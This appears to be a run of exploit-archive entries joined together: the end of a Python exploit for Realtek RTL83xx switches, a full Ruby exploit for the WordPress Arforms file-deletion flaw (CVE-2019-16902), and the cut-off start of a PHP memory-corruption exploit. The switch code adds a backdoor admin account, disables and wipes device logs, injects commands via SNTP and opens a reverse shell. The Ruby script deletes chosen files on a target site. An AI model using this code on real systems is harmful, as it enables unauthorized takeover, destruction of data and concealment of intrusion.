				DEBUG("SEND",URI)

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
				result = response
				response = response.read()
				DEBUG("RECV",response)

			if not self.target['exploit']['priv15_account']['json']:
				if result.code == 200 and len(response) == 0:
					remove.success("Success")
					return True

				response = response.split("'")
				DEBUG("RECV",response)

				for check in range(0,len(response)):
					if response[check] == ': The user is not exist!!<br>' or response[check] == 'Error String':
						remove.failure("User do not exist")
						self.logout(self.target)
						return False
				remove.failure("Failed")
				self.logout(self.target)
				return False
			else:
				result = json.loads(response.read())
				DEBUG("RECV",result)

				if result['status'] == 'ok' and result['msgType'] == 'save_success':
					remove.success("Success")
					return True

		except Exception as e:
			log.info("error {}".format(e))
			return False

		remove.failure("Failed")
		print result
		return False

	#
	# Access: Authenticated
	#
	def logout(self, target):
		self.target = target

		logout = log.progress("Logging out")

		if not self.target['login']['vulnerable']:
			logout.failure("Not listed as vulnerable")
			return False

		logout.status("Trying...")

		if self.check_XSID(self.target):
			self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)

		URI = self.target['login']['logout_uri']
		DEBUG("SEND",URI)

		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) # encoded
		response = response.read()
		if not self.target['login']['json']:
			response = response.split()
			DEBUG("RECV",response)

			for check in range(0,len(response)):
				if response[check] == 'function goback(){' or response[check] == 'onload="goback();">': 
					logout.success("Success")
					return True

			logout.failure("Failed")
			return False

		else:
			result = json.loads(response)
			DEBUG("RECV",result)

			if result['status'] == 'ok' and result['msgType'] == 'success' or result['status'] == 'ok' and result['msgType'] == 'save_success':
				logout.success("Success")
				return True
			else:
				logout.failure("Failed")
				print result
				return False

	#
	# Access: Authenticated
	#
	def login(self,target):
		self.target = target

		login = log.progress("Login")

		if not self.target['login']['vulnerable']:
			login.failure("Not listed as vulnerable")
			return False

		#
		# login
		#
		try:
			USERNAME = self.credentials.split(':')[0]

			if self.target['login']['encryption'] == 'rsa':
				PASSWORD = self.RSA_Password(self.credentials.split(':')[1])
			elif self.target['login']['encryption'] == 'caesar':
				PASSWORD = self.caesar_encode(self.credentials.split(':')[1])
			elif self.target['login']['encryption'] == 'encode':
				PASSWORD = self.obfuscation_encode(self.credentials.split(':')[1])
			elif self.target['login']['encryption'] == 'clear':
				PASSWORD = self.credentials.split(':')[1]
			else:
				login.failure("No login password matching")
				return False

			query_args = self.target['login']['query']
			query_args = query_args.replace('USERNAME',USERNAME)
			query_args = query_args.replace('PASSWORD',PASSWORD)

			URI = self.target['login']['login_uri']
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			response = response.read()
			if not self.target['login']['json']:
				response = response.split()
				DEBUG("RECV",response)

				for check in range(0,len(response)):
					if response[check] == 'top.location.replace("/cgi-bin/dispatcher.cgi?cmd=1")' or response[check] == 'href="/cgi-bin/dispatcher.cgi?cmd=5890':
						login.success("Success")
						return True
					elif response[check] == 'window.location.replace("/cgi-bin/dispatcher.cgi?cmd=3");':
						login.success("Already logged in")
						return True
					elif response[check] == 'top.location.replace("/cgi-bin/dispatcher.cgi?cmd=5")':
						login.failure("Failed")
						return False
					elif len(response) == check + 1:
						login.failure("Not supported device")
						print response
						return False
			else:
				result = json.loads(response)
				DEBUG("RECV",result)

				if result['status'] == 'ok' and result['msgType'] == 'save_success' or result['status'] == 'ok' and result['msgType'] == 'success':
					login.status("Verifying")
					URI = self.target['login']['status_uri']
					DEBUG("SEND",URI)

					response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
					response = response.read()
					result = json.loads(response)
					DEBUG("RECV",result)

					if result['data']['status'] == 'ok':
						login.success("Success")
						return True
					elif result['data']['status'] == 'authing':
						time.sleep(2)
						# try one more time
						URI = self.target['login']['status_uri']
						login.status("One more time...")
						DEBUG("SEND",URI)

						response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
						response = response.read()
						result = json.loads(response)
						DEBUG("RECV",result)

						if result['data']['status'] == 'ok':
							login.success("Success")
							return True
						else:
							login.failure("Failed (Authing)")
							return False
					elif result['data']['status'] == 'fail':
						login.failure("Failed {}".format(result['data']['failReason']))
						return False

		except Exception as e:

			login.failure("error {}".format(e))

		return False

	#
	# Access: Authenticated
	#
	def disable_clean_log(self, target):
		self.target = target

		clear_log = log.progress("Logging disable & clean")

		if not self.target['log']['vulnerable']:
			clear_log.failure("Not listed as vulnerable")
			return False

		if self.check_XSID(self.target):
			self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)

		try:
			clear_log.status("Trying to disable")

			URI = self.target['log']['disable_uri']
			query_args = self.target['log']['disable_query']
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			response = response.read()
			DEBUG("RECV",response)

			URI = self.target['log']['status']
			DEBUG("SEND",URI)

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
			response = response.read()
			if not self.target['log']['json']:
				response = re.split("[<>\n]",response)
				DEBUG("RECV",response)

				for check in range(0,len(response)):
					if response[check] == 'window.location.replace("/cgi-bin/dispatcher.cgi?cmd=5120");':
						clear_log.status("Disabled")
						break
			else: # json
				result = json.loads(response)
				DEBUG("RECV",result)

				if result['data']['logState'] == False:
					clear_log.status("Disabled")
				else:
					clear_log.failure("Logging still enabled")
					return False

			clear_log.status("Trying to clean")

			URI = self.target['log']['clean_logfile_uri']
			query_args = self.target['log']['clean_logfile_query']
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			response = response.read()
			if not self.target['log']['json']:
				response = re.split("[<>'\n]",response)
				DEBUG("RECV",response)

				for check in range(0,len(response)):
					if response[check] == '/cgi-bin/dispatcher.cgi?cmd=5129' or response[check] == '/cgi-bin/dispatcher.cgi?cmd=4361':
						clear_log.status("Disabled")
						URI = self.target['log']['clean_logmem_uri']
						query_args = self.target['log']['clean_logmem_query']
						DEBUG("SEND",(URI, query_args))

						response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
						response = response.read()
						response = re.split("[<>'\n]",response)
						DEBUG("RECV",response)

						for check in range(0,len(response)):
							if response[check] == '/cgi-bin/dispatcher.cgi?cmd=5129' or response[check] == '/cgi-bin/dispatcher.cgi?cmd=4361':
								clear_log.success("Success")
								return True
						break
				clear_log.failure("Failed")
				return False
			else: # json
				result = json.loads(response)
				DEBUG("RECV",result)

				if result['status'] == 'ok' and result['msgType'] == 'save_success':
					URI = self.target['log']['clean_logmem_uri']
					query_args = self.target['log']['clean_logmem_query']
					DEBUG("SEND",(URI, query_args))

					response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
					response = response.read()
					result = json.loads(response)
					DEBUG("RECV",result)

					if result['status'] == 'ok' and result['msgType'] == 'save_success':
						clear_log.success("Success")
						return True
					else:
						clear_log.failure("Failed")
						return False
				else:
					clear_log.failure("Failed")
					return False

		except Exception as e:
			log.info("error {}".format(e))
			return False

		clear_log.failure("LOG Failed")
		return False

	#
	# Access: Authenticated
	#
	def SNTP(self, target):
		self.target = target

		SNTP = log.progress("SNTP")

		if not self.target['exploit']['sntp']['vulnerable']:
			SNTP.failure("Not listed as vulnerable")
			return False

		SNTP.status("Trying...")

		if self.check_XSID(self.target):
			self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)

		SNTP.status("Enable SNTP")

		URI = self.target['exploit']['sntp']['enable_uri']
		query_args = self.target['exploit']['sntp']['enable_query']

		DEBUG("SEND",(URI, query_args))
		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
		response = response.read()

		if not self.target['exploit']['sntp']['json']:
			response = re.split("[<>\n]",response)
			DEBUG("RECV",response)

			for check in range(0,len(response)):
				if response[check] == 'SNTP':
					if response[check+5] == 'Enabled' or response[check+5] == 'Enable' or response[check+7] == 'Enabled' or response[check+7] == 'Enable':
						SNTP.status("SNTP Enabled")
					elif response[check+5] == 'Disabled' or response[check+5] == 'Disable' or response[check+7] == 'Disabled' or response[check+7] == 'Disable':
						SNTP.failure("SNTP Disabled")
						return False
					else:
						SNTP.failure("Enable SNTP Failed")
						return False

		else: # json
			response = self.clean_json(response)
			result = json.loads(response)
			DEBUG("RECV",result)

			if result['status'] == 'ok' and result['msgType'] == 'save_success':
				URI = self.target['exploit']['sntp']['status_uri']
				DEBUG("SEND",URI)

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
				response = response.read()
				response = self.clean_json(response)
				result = json.loads(response)
				DEBUG("RECV",result)

				for status in result['data']:
					if status == 'sntp' and result['data']['sntp'] == True:
						SNTP.status("SNTP Enabled")
						break
					elif status == 'sntp' and result['data']['sntp'] == False:
						SNTP.failure("SNTP Disabled")
						return False
					elif status == 'sntpStatus' and result['data']['sntpStatus'] == True:
						SNTP.status("SNTP Enabled")
						break
					elif status == 'sntpStatus' and result['data']['sntpStatus'] == False:
						SNTP.failure("SNTP Disabled")
						return False

			else:
				SNTP.failure("Enable SNTP Failed")
				return False

		URI = self.target['exploit']['sntp']['inject_uri']
		query_args = self.target['exploit']['sntp']['inject_query']
		DEBUG("SEND",(URI, query_args))

		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
		response = response.read()
		if not self.target['exploit']['sntp']['json']:
			response = response.split('"')
			DEBUG("RECV",response)

			for check in range(0,len(response)):
				if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549':
					query_args = self.target['exploit']['sntp']['check_query']
					DEBUG("SEND",(URI, query_args))

					response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
					response = response.read()
					response = response.split('"')
					DEBUG("RECV",response)

					for check in range(0,len(response)):
						if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549':
							URI = self.target['exploit']['sntp']['verify_uri']
							DEBUG("SEND",URI)

							response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
							response = response.read().split()
							DEBUG("RECV",response)

							if response[0] == '0':
								SNTP.status("ASLR disabled")
								break
							else:
								SNTP.failure("Check Failed")
								return False
					break


		else: # json
			response = self.clean_json(response)
			result = json.loads(response)
			DEBUG("RECV",result)

			if result['status'] == 'ok' and result['msgType'] == 'save_success':
				query_args = self.target['exploit']['sntp']['check_query']
				DEBUG("SEND",(URI, query_args))

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
				response = response.read()
				response = self.clean_json(response)
				result = json.loads(response)
				DEBUG("RECV",result)

				if result['status'] == 'ok' and result['msgType'] == 'save_success':
					URI = self.target['exploit']['sntp']['verify_uri']
					DEBUG("SEND",URI)

					response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
					response = response.read().split()
					DEBUG("RECV",response)

					if response[0] == '0':
						SNTP.status("ASLR disabled")
					else:
						SNTP.failure("Check Failed")
						return False
				else:
					SNTP.failure("RCE #2 Failed")
					return False
			else:
				SNTP.failure("RCE #1 Failed")
				return False

		SNTP.status("Removing RCE")
		URI = self.target['exploit']['sntp']['delete_uri']
		query_args = self.target['exploit']['sntp']['delete_query']
		DEBUG("SEND",(URI, query_args))

		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
		response = response.read()
		if not self.target['exploit']['sntp']['json']:
			response = response.split('"')
			DEBUG("RECV",response)

			for check in range(0,len(response)):
				if response[check] == '/cgi-bin/dispatcher.cgi?cmd=549':
					SNTP.status("RCE Removed")
					break
		else: # json
			response = self.clean_json(response)
			result = json.loads(response)
			DEBUG("RECV",result)

			if result['status'] == 'ok' and result['msgType'] == 'save_success':
				SNTP.status("RCE Removed")
			else:
				SNTP.failure("RCE Remove Failed")
				return False

		URI = self.target['exploit']['sntp']['disable_uri']
		query_args = self.target['exploit']['sntp']['disable_query']
		DEBUG("SEND",(URI, query_args))

		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
		response = response.read()
		if not self.target['exploit']['sntp']['json']:
			response = re.split("[<>\n]",response)
			DEBUG("RECV",response)

			for check in range(0,len(response)):
				if response[check] == 'SNTP':

					if response[check+5] == 'Enabled' or response[check+5] == 'Enable' or response[check+7] == 'Enabled' or response[check+7] == 'Enable':
						SNTP.failure("SNTP Enabled")
					elif response[check+5] == 'Disabled' or response[check+5] == 'Disable' or response[check+7] == 'Disabled' or response[check+7] == 'Disable':
						SNTP.status("SNTP Disabled")
					else:
						SNTP.failure("Disable SNTP Failed")
						return False

		else: # json
			response = self.clean_json(response)
			result = json.loads(response)
			DEBUG("RECV",result)

			if result['status'] == 'ok' and result['msgType'] == 'save_success':
				URI = self.target['exploit']['sntp']['status_uri']
				DEBUG("SEND",URI)

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
				response = response.read()
				response = self.clean_json(response) # MCW TEST
				result = json.loads(response)
				DEBUG("RECV",result)

				for status in result['data']:
					if status == 'sntp' and result['data']['sntp'] == True:
						SNTP.failure("SNTP Enabled")
						return False
					elif status == 'sntp' and result['data']['sntp'] == False:
						SNTP.status("SNTP Disabled")
						break
					elif status == 'sntpStatus' and result['data']['sntpStatus'] == True:
						SNTP.failure("SNTP Enabled")
						return False
					elif status == 'sntpStatus' and result['data']['sntpStatus'] == False:
						SNTP.status("SNTP Disabled")
						break

			else:
				SNTP.failure("Disable SNTP Failed")
				return False


		SNTP.success("ASLR: Success")
		return True



if __name__ == '__main__':

	#
	# Help, info and pre-defined values
	#	
	INFO =  'Realtek Managed Switch Controller RTL83xx PoC (2019 bashis)\n'
	HTTP = "http"
	HTTPS = "https"
	proto = HTTP
	verbose = False
	raw_request = True
	rhost = '192.168.57.20'	# Default Remote HOST
	rport = '80'			# Default Remote PORT
	lhost = '192.168.57.1'	# Default Local HOST
	lport = '1337'			# Default Local PORT
	creds = 'pwn:pwn'		# creds = 'user:pass'
	etag = ''

	#
	# Try to parse all arguments
	#
	try:
		arg_parser = argparse.ArgumentParser(
		prog=sys.argv[0],
				description=('[*] '+ INFO +' [*]'))
		arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
		arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
		arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
		arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
		if creds:
			arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')
		arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')

		arg_parser.add_argument('--hydra', required=False, default=False, action='store_true', help='Boa/Hydra Web Server - reverse shell')
		arg_parser.add_argument('--force', required=False, default=False, action='store_true', help='Ignore warnings for exploits marked not safe')
		arg_parser.add_argument('--etag', required=False, help='Select target manually with their ETag')

		arg_parser.add_argument('--shell', required=False, default=False, action='store_true', help='Unauthenticated - reverse shell - CGIs')

		arg_parser.add_argument('--debug', required=False, default=False, action='store_true', help='Debug SEND/RECV data and line numbers in code')

		arg_parser.add_argument('--verify', required=False, default=False, action='store_true', help='Verify unauthenticated vulnerabilities - CGIs')
		arg_parser.add_argument('--report', required=False, default=False, action='store_true', help='Generate report based on dictionary')

		arg_parser.add_argument('--adduser', required=False, default=False, action='store_true', help='Add "'+ creds + '" with privilege 15')
		arg_parser.add_argument('--deluser', required=False, default=False, action='store_true', help='Delete "'+ creds + '" credentials')

		args = arg_parser.parse_args()
	except Exception as e:
		log.info(INFO)
		log.info("Error: {}".format(e))
		sys.exit(1)

	# We want at least one argument, so print out help
	if len(sys.argv) == 1:
		arg_parser.parse_args(['-h'])

	print ""
	log.info(INFO)

	if args.report:
		Vendor("report").dict()
		sys.exit(0)

	if args.debug:
		debug = True

	if args.force:
		force = True
	#
	# Check validity, update if needed, of provided options
	#
	if args.https:
		proto = HTTPS
		if not args.rport:
			rport = '443'

	if creds and args.auth:
		creds = args.auth

	if args.rport:
		rport = args.rport

	if args.etag:
		etag = args.etag

	if args.rhost:
		rhost = args.rhost

	if args.lport:
		lport = args.lport

	if args.lhost:
		lhost = args.lhost

	# Check if RPORT is valid
	if not Validate(verbose).Port(rport):
		log.failure("Invalid RPORT - Choose between 1 and 65535")
		sys.exit(1)

	# Check if LPORT is valid
	if not Validate(verbose).Port(lport): #
		log.failure("Invalid LPORT - Choose between 1 and 65535")
		sys.exit(1)

	# Let's break apart the hex code of LPORT into two bytes and check for badbyte 0x00
	port_hex = hex(int(lport))[2:]
	port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
	port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
	port_hex = port_hex.split()
	if len(port_hex) == 1:
		port_hex = ('00' + ' ' + ''.join(port_hex)).split()

	for c in port_hex:
		if c == '00':
			log.failure("Choosen port (dec: {}, hex: {}) contains 0x00 - aborting".format(lport,hex(int(lport))))
			sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(verbose).Host(rhost)
	if not rhost:
		log.failure("Invalid RHOST")
		sys.exit(1)

	# Check if LHOST is valid IP or FQDN, get IP back
	lhost = Validate(verbose).Host(lhost)
	if not lhost:
		log.failure("Invalid LHOST")
		sys.exit(1)

	#
	# Validation done, start print out stuff to the user
	#
	if args.https:
		log.info("HTTPS / SSL Mode Selected")
	log.info("RHOST: {}".format(rhost))
	log.info("RPORT: {}".format(rport))
	log.info("LHOST: {}".format(lhost))
	log.info("LPORT: {}".format(lport))

	rhost = rhost + ':' + rport

	try:

		headers = {
			'Host':rhost,
			'User-Agent':'Chrome',
			'Accept':'*/*',
			'Content-Type':'application/x-www-form-urlencoded'
			}
		#
		# We can manually select target with the '--etag'
		#
		target = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).check_remote(etag)

		#
		# Whole code based on known 'target's ETag
		#
		if target:

			if args.verify:
				RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).verify_target(target,True) # check all listed

			elif args.hydra:
				if not target['exploit']['heack_hydra_shell']['safe'] and not args.force:
					log.failure("Boa/Hydra listed as not safe (most likely DoS), force with '--force'")
					log.failure("The best chance of success is with fresh heap and select target model manually")
					log.failure("use '--etag' for manual selection, '--etag help' for known targets")
					success = False
				else:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).heack_hydra_shell(target)
					success = False

			elif args.adduser:
				if target['exploit']['stack_cgi_add_account']['vulnerable']:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_add_account(target)
				else:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).add_user(target)

			elif args.deluser:
				if target['exploit']['stack_cgi_del_account']['vulnerable']:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_del_account(target)
				else:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).login(target)
					if success:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).del_user(target)
						if success:
							success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).logout(target)

			elif args.shell:
				success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).verify_target(target,False) # check only one

				#
				# shellcode on heap, no need to disable ASLR
				#
				if not target['exploit']['heack_cgi_shell']['stack']:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target)
				#
				# shellcode on stack, we need to disable ASLR
				#
				elif target['exploit']['stack_cgi_diag']['vulnerable']:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target)
					if success:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_diag(target)
				elif target['exploit']['stack_cgi_sntp']['vulnerable']:
					success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_log(target)
					if success:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).stack_cgi_sntp(target)
				#
				# or we take the long way
				#
				elif target['login']['vulnerable'] and not target['exploit']['stack_cgi_diag']['vulnerable'] or not target['exploit']['stack_cgi_sntp']['vulnerable']:
					if not args.auth:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).add_user(target)
					if success:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).login(target)
					if success:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).disable_clean_log(target)
					if success:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).SNTP(target)

					if success and not args.auth:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).del_user(target)
					if success:
						success = RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).logout(target)

				else:
					log.failure("We have no way to reach shellcode...")
					success = False

				#
				# No meaning to try exploit if above failed
				#
				if success:
					RTK_RTL83xx(rhost, proto, verbose, creds, raw_request,lhost, lport).heack_shell(target)

	except Exception as e:
		log.info("Failed: ({})".format(e))

	log.info("All done...")

	sys.exit(0)
            
#!/usr/bin/env ruby

# Exploit Title: WordPress Arforms - 3.7.1 
# CVE ID: CVE-2019-16902
# Date: 2019-09-27
# Exploit Author: Ahmad Almorabea
# Author Website: http://almorabea.net
# Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt 
# Software Link: https://www.arformsplugin.com/documentation/changelog/
# Version: 3.7.1

#**************Start Notes**************
# You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders.
# Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet.
# Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
# But maybe in other forms maybe it's different so you have to change it accordingly.
# This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on 
# There is a request file with this Script make sure to put it in the same folder.
#**************End Notes****************

require "net/http"
require 'colorize'

$host       = ARGV[0] || ""
$session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"



def start_function ()

  puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow
  name = STDIN.gets

  if $host == ""
      puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red
      exit
  end


  check_existence_arform_folder
  execute_deletion_attack
 
  puts "Done ... see ya  " + name 

end


def send_checks(files_names)


 
 
  j = 1
  while j <= files_names.length-1
  
      uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j])
      http = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS

      request = Net::HTTP::Get.new(uri.request_uri)
      request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
      request["Connection"] = "keep-alive"
      request["Accept-Language"] = "en-US,en;q=0.5"
      request["Accept-Encoding"] = "gzip, deflate"
      request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
      

      begin
        
        response = http.request(request).code
        puts "The File " + files_names[j] + " has the response code of " + response
      rescue Exception => e
        puts "[!] Failed!"
        puts e
      end
      j = j+1 
  end
end


def check_existence_arform_folder ()

 

  path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"]
  $i = 0 
  results = []

  while $i <= path_array.length-1  
    
    uri = URI.parse("http://#{$host}/#{path_array[$i]}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    results[$i] = response.code
    #puts"response code is : " + response.code
    
    $i +=1

  end

  puts "****************************************************"
  
  if results[0] == "200" || results[0] =="301"

    puts "The Plugin is Available on the following path : ".green + $host + path_array[0]
  else
    puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red
    exit
  end
  
  if (results[1] == "200" || results[1] == "301")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     

      puts "The User Files  folder is  Available on the following path : ".green + $host + path_array[1]
  else

     puts "We couldn't find the User Files folder, on the following path ".red +  $host + path_array[1]
    
  end
  puts "****************************************************"

  

end


def execute_deletion_attack ()

    

    puts "How many file you want to delete my man"
    amount = STDIN.gets.chomp.to_i

    if(amount == 0)
      puts "You can't use 0 or  other strings this input for the amount of file you want to delete so it's an Integer".blue
      exit
    end

    file_names = []
    file_names[0] = "143_772_1569713145702_temp3.txt"
    j = 1
   while j <= amount.to_i
      puts "Name of the file number " + j.to_s 
      file_names[j] = STDIN.gets
      file_names[j].strip!
      j = j+1
    end


    uri = URI.parse("http://#{$host}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'   
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cookie
  



    $i = 0
    while $i <= file_names.length-1 

    puts "Starting the Attack Journey .. ".green 

      uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
      headers =
      {
         'Referer'         => 'From The Sky',
         'User-Agent'      => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
         'Content-Type'    => 'multipart/form-data; boundary=---------------------------14195989911851978808724573615',
         'Accept-Encoding' => 'gzip, deflate',
         'Cookie'          => global_cookie,
         'X_FILENAME'      => file_names[$i],
         'X-FILENAME'      => file_names[$i],
         'Connection'      => 'close'

       }

      http    = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true if uri.scheme == 'https'    
      request = Net::HTTP::Post.new(uri.path, headers)
      request.body = File.read("post_file")
      response = http.request request
     
      $i = $i +1     
  end
    
    execute_delete_request file_names,global_cookie,amount.to_i
    
    puts "Finished.........."

end

def execute_delete_request (file_names,cookies,rounds )

  
    $i = 0
    
    while $i <= file_names.length-1   

    puts "Starting the Attack on file No #{$i.to_s} ".green  
  
        uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
        headers =
        {
           'Referer'         => 'From The Sky',
           'User-Agent'      => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
           'Accept'          => '*/*',
           'Accept-Language' => 'en-US,en;q=0.5',
           'X-Requested-With'=> 'XMLHttpRequest',
           'Cookie'          =>  cookies,
           'Content-Type'    => 'application/x-www-form-urlencoded; charset=UTF-8',
           'Accept-Encoding' => 'gzip, deflate',
           'Connection'      => 'close'
        }

        http    = Net::HTTP.new(uri.host, uri.port)
        http.use_ssl = true if uri.scheme == 'https'   
        request = Net::HTTP::Post.new(uri.path,headers)
        request.body = "action=arf_delete_file&file_name="+file_names[$i]+"&form_id=143"
        response = http.request(request)
        
        if $i != 0
          puts "File Name requested to delete is : " + file_names[$i] + " has the Response Code of " + response.code
        end
         $i = $i +1 
     
    end

    send_checks file_names
     
end


start_function()
            
<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

